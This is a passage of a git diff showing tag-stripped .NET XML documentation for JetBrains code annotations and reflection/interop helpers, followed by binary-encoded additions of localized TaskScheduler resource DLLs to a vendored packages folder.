expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + + + diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..4a7f1423f1acafe3d6f12d103451d9c41f17b27b GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..119cd88ce5fee4403e99c1a6fe8f52d2dbb28049 GIT binary patch literal 10240 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 